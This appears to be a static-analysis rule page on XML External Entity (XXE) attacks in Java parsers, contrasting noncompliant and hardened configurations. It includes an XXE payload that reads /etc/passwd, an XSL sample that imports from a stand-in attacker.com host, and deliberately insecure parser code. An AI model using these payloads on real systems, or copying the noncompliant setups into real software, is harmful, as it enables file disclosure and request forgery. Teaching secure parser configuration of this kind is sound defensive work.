249 lines
10 KiB
Plaintext
249 lines
10 KiB
Plaintext
https://www.w3.org/TR/xml/[XML specification] allows the use of entities that can be https://www.w3.org/TR/xml/#sec-internal-ent[internal] or https://www.w3.org/TR/xml/#sec-external-ent[external] (file system / network access ...) which could lead to vulnerabilities such as confidential file disclosures or https://www.owasp.org/index.php/Server_Side_Request_Forgery[SSRFs].
|
|
|
|
|
|
Example in this XML document, an external entity read the /etc/passwd file:
|
|
|
|
----
|
|
<?xml version="1.0" encoding="utf-8"?>
|
|
<!DOCTYPE test [
|
|
<!ENTITY xxe SYSTEM "file:///etc/passwd">
|
|
]>
|
|
<note xmlns="http://www.w3schools.com" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
|
|
<to>&xxe;</to>
|
|
<from>Jani</from>
|
|
<heading>Reminder</heading>
|
|
<body>Don't forget me this weekend!</body>
|
|
</note>
|
|
----
|
|
|
|
In this XSL document, network access is allowed which can lead to SSRF vulnerabilities:
|
|
|
|
----
|
|
<?xml version="1.0" encoding="UTF-8"?>
|
|
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.attacker.com/evil.xsl">
|
|
<xsl:import href="http://www.attacker.com/evil.xsl"/>
|
|
<xsl:include href="http://www.attacker.com/evil.xsl"/>
|
|
<xsl:template match="/">
|
|
&content;
|
|
</xsl:template>
|
|
</xsl:stylesheet>
|
|
----
|
|
|
|
It is recommended to disable access to external entities and network access in general.
|
|
|
|
|
|
To protect Java XML Parsers from XXE attacks https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-94ABC0EE-9DC8-44F0-84AD-47ADD5340477[these properties] have been defined since JAXP 1.5:
|
|
|
|
* ACCESS_EXTERNAL_DTD: should be set to "" when processing XML/XSD/XLS files (it looks for external DOCTYPEs)
|
|
* ACCESS_EXTERNAL_SCHEMA: should be set to "" when processing XML/XSD/XLS files (it looks for external schemalocation ect)
|
|
* ACCESS_EXTERNAL_STYLESHEET should be set to "" when processing XLS file (it looks for external imports, includes ect);
|
|
|
|
Note that http://xerces.apache.org/xerces2-j/[Apache Xerces] is still based on JAXP 1.4, therefore one solution is to set to ``++false++`` the http://xerces.apache.org/xerces2-j/features.html#external-general-entities[external-general-entities] feature.
|
|
|
|
|
|
Avoid FEATURE_SECURE_PROCESSING feature to protect from XXE attacks because depending on the implementation:
|
|
|
|
* it has https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-88B04BE2-35EF-4F61-B4FA-57A0E9102342[no effect] to protect the parser from XXE attacks but helps guard against excessive memory consumption from XML processing.
|
|
* or it's just an obscur shortcut (it could set ACCESS_EXTERNAL_DTD and ACCESS_EXTERNAL_SCHEMA to "" but without guarantee).
|
|
|
|
When setting https://docs.oracle.com/javase/7/docs/api/org/xml/sax/XMLReader.html#setEntityResolver(org.xml.sax.EntityResolver)[an entity resolver] to ``++null++`` (eg: ``++setEntityResolver(null)++``) the parser will use its own resolution, which is unsafe.
|
|
|
|
== Noncompliant Code Examples
|
|
|
|
https://docs.oracle.com/javase/9/docs/api/javax/xml/parsers/DocumentBuilderFactory.html[DocumentBuilderFactory] library:
|
|
|
|
----
|
|
String xml = "xxe.xml";
|
|
DocumentBuilderFactory df = DocumentBuilderFactory.newInstance();
|
|
DocumentBuilder builder = df.newDocumentBuilder(); // Noncompliant
|
|
Document document = builder.parse(new InputSource(xml));
|
|
DOMSource domSource = new DOMSource(document);
|
|
----
|
|
|
|
https://docs.oracle.com/javase/9/docs/api/javax/xml/parsers/SAXParserFactory.html[SAXParserFactory] library:
|
|
|
|
----
|
|
String xml = "xxe.xml";
|
|
SaxHandler handler = new SaxHandler();
|
|
SAXParserFactory factory = SAXParserFactory.newInstance();
|
|
SAXParser parser = factory.newSAXParser(); // Noncompliant
|
|
parser.parse(xml, handler);
|
|
----
|
|
|
|
https://docs.oracle.com/javase/9/docs/api/javax/xml/stream/XMLInputFactory.html[XMLInputFactory] library:
|
|
|
|
----
|
|
XMLInputFactory factory = XMLInputFactory.newInstance(); // Noncompliant
|
|
XMLEventReader eventReader = factory.createXMLEventReader(new FileReader("xxe.xml"));
|
|
----
|
|
|
|
https://docs.oracle.com/javase/9/docs/api/javax/xml/transform/TransformerFactory.html[TransformerFactory] library:
|
|
|
|
----
|
|
String xslt = "xxe.xsl";
|
|
String xml = "xxe.xml";
|
|
TransformerFactory transformerFactory = javax.xml.transform.TransformerFactory.newInstance(); // Noncompliant
|
|
Transformer transformer = transformerFactory.newTransformer(new StreamSource(xslt));
|
|
|
|
StringWriter writer = new StringWriter();
|
|
transformer.transform(new StreamSource(xml), new StreamResult(writer));
|
|
String result = writer.toString();
|
|
----
|
|
|
|
https://docs.oracle.com/javase/9/docs/api/javax/xml/validation/SchemaFactory.html[SchemaFactory] library:
|
|
|
|
----
|
|
String xsd = "xxe.xsd";
|
|
StreamSource xsdStreamSource = new StreamSource(xsd);
|
|
|
|
SchemaFactory schemaFactory = SchemaFactory.newInstance(XMLConstants.W3C_XML_SCHEMA_NS_URI); // Noncompliant
|
|
Schema schema = schemaFactory.newSchema(xsdStreamSource);
|
|
----
|
|
|
|
https://docs.oracle.com/javase/9/docs/api/javax/xml/validation/Validator.html[Validator] library:
|
|
|
|
----
|
|
String xsd = "xxe.xsd";
|
|
String xml = "xxe.xml";
|
|
StreamSource xsdStreamSource = new StreamSource(xsd);
|
|
StreamSource xmlStreamSource = new StreamSource(xml);
|
|
|
|
SchemaFactory schemaFactory = SchemaFactory.newInstance(XMLConstants.W3C_XML_SCHEMA_NS_URI);
|
|
Schema schema = schemaFactory.newSchema(xsdStreamSource);
|
|
Validator validator = schema.newValidator(); // Noncompliant
|
|
|
|
StringWriter writer = new StringWriter();
|
|
validator.validate(xmlStreamSource, new StreamResult(writer));
|
|
----
|
|
|
|
https://dom4j.github.io/[Dom4j] library:
|
|
|
|
----
|
|
SAXReader xmlReader = new SAXReader(); // Noncompliant by default
|
|
Document xmlResponse = xmlReader.read(xml);
|
|
----
|
|
|
|
http://www.jdom.org/[Jdom2] library:
|
|
|
|
----
|
|
SAXBuilder builder = new SAXBuilder(); // Noncompliant by default
|
|
Document document = builder.build(new File(xml));
|
|
----
|
|
|
|
== Compliant Solution
|
|
|
|
https://docs.oracle.com/javase/9/docs/api/javax/xml/parsers/DocumentBuilderFactory.html[DocumentBuilderFactory] library:
|
|
|
|
----
|
|
String xml = "xxe.xml";
|
|
DocumentBuilderFactory df = DocumentBuilderFactory.newInstance();
|
|
df.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, ""); // Compliant
|
|
df.setAttribute(XMLConstants.ACCESS_EXTERNAL_SCHEMA, ""); // compliant
|
|
DocumentBuilder builder = df.newDocumentBuilder();
|
|
Document document = builder.parse(new InputSource(xml));
|
|
DOMSource domSource = new DOMSource(document);
|
|
----
|
|
|
|
https://docs.oracle.com/javase/9/docs/api/javax/xml/parsers/SAXParserFactory.html[SAXParserFactory] library:
|
|
|
|
----
|
|
String xml = "xxe.xml";
|
|
SaxHandler handler = new SaxHandler();
|
|
SAXParserFactory factory = SAXParserFactory.newInstance();
|
|
SAXParser parser = factory.newSAXParser();
|
|
parser.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, ""); // Compliant
|
|
parser.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, ""); // compliant
|
|
parser.parse(xml, handler);
|
|
----
|
|
|
|
https://docs.oracle.com/javase/9/docs/api/javax/xml/stream/XMLInputFactory.html[XMLInputFactory] library:
|
|
|
|
----
|
|
XMLInputFactory factory = XMLInputFactory.newInstance();
|
|
factory.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, ""); // Compliant
|
|
factory.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, ""); // compliant
|
|
|
|
XMLEventReader eventReader = factory.createXMLEventReader(new FileReader("xxe.xml"));
|
|
----
|
|
|
|
https://docs.oracle.com/javase/9/docs/api/javax/xml/transform/TransformerFactory.html[TransformerFactory] library:
|
|
|
|
----
|
|
String xslt = "xxe.xsl";
|
|
String xml = "xxe.xml";
|
|
TransformerFactory transformerFactory = javax.xml.transform.TransformerFactory.newInstance();
|
|
transformerFactory.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, ""); // Compliant
|
|
transformerFactory.setAttribute(XMLConstants.ACCESS_EXTERNAL_STYLESHEET, ""); // Compliant
|
|
// ACCESS_EXTERNAL_SCHEMA not supported in several TransformerFactory implementations
|
|
Transformer transformer = transformerFactory.newTransformer(new StreamSource(xslt));
|
|
|
|
StringWriter writer = new StringWriter();
|
|
transformer.transform(new StreamSource(xml), new StreamResult(writer));
|
|
String result = writer.toString();
|
|
----
|
|
|
|
https://docs.oracle.com/javase/9/docs/api/javax/xml/validation/SchemaFactory.html[SchemaFactory] library:
|
|
|
|
----
|
|
String xsd = "xxe.xsd";
|
|
StreamSource xsdStreamSource = new StreamSource(xsd);
|
|
|
|
SchemaFactory schemaFactory = SchemaFactory.newInstance(XMLConstants.W3C_XML_SCHEMA_NS_URI);
|
|
schemaFactory.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, ""); // Compliant
|
|
schemaFactory.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, ""); // Compliant
|
|
Schema schema = schemaFactory.newSchema(xsdStreamSource);
|
|
----
|
|
|
|
https://docs.oracle.com/javase/9/docs/api/javax/xml/validation/Validator.html[Validator] library:
|
|
|
|
----
|
|
String xsd = "xxe.xsd";
|
|
String xml = "xxe.xml";
|
|
StreamSource xsdStreamSource = new StreamSource(xsd);
|
|
StreamSource xmlStreamSource = new StreamSource(xml);
|
|
|
|
SchemaFactory schemaFactory = SchemaFactory.newInstance(XMLConstants.W3C_XML_SCHEMA_NS_URI);
|
|
Schema schema = schemaFactory.newSchema(xsdStreamSource);
|
|
schemaFactory.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, "");
|
|
schemaFactory.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, "");
|
|
// validators will also inherit of these properties
|
|
Validator validator = schema.newValidator();
|
|
|
|
validator.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, ""); // Compliant
|
|
validator.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, ""); // Compliant
|
|
|
|
StringWriter writer = new StringWriter();
|
|
validator.validate(xmlStreamSource, new StreamResult(writer));
|
|
----
|
|
|
|
For https://dom4j.github.io/[dom4j] library, ACCESS_EXTERNAL_DTD and ACCESS_EXTERNAL_SCHEMA are not supported, thus a very strict fix is to disable doctype declarations:
|
|
|
|
----
|
|
SAXReader xmlReader = new SAXReader();
|
|
xmlReader.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); // Compliant
|
|
Document xmlResponse = xmlReader.read(xml);
|
|
----
|
|
|
|
http://www.jdom.org/[Jdom2] library:
|
|
|
|
----
|
|
SAXBuilder builder = new SAXBuilder(); // Compliant
|
|
builder.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, ""); // Compliant
|
|
builder.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, ""); // Compliant
|
|
Document document = builder.build(new File(xml));
|
|
----
|
|
|
|
== See
|
|
|
|
* https://www.owasp.org/index.php/Top_10-2017_A4-XML_External_Entities_(XXE)[OWASP Top 10 2017 Category A4] - XML External Entities (XXE)
|
|
* https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html#java[OWASP XXE Prevention Cheat Sheet]
|
|
* http://cwe.mitre.org/data/definitions/611.html[MITRE, CWE-611] - Information Exposure Through XML External Entity Reference
|
|
* http://cwe.mitre.org/data/definitions/827.html[MITRE, CWE-827] - Improper Control of Document Type Definition
|
|
|
|
ifdef::rspecator-view[]
|
|
== Comments And Links
|
|
(visible only on this page)
|
|
|
|
include::../comments-and-links.adoc[]
|
|
endif::rspecator-view[]
|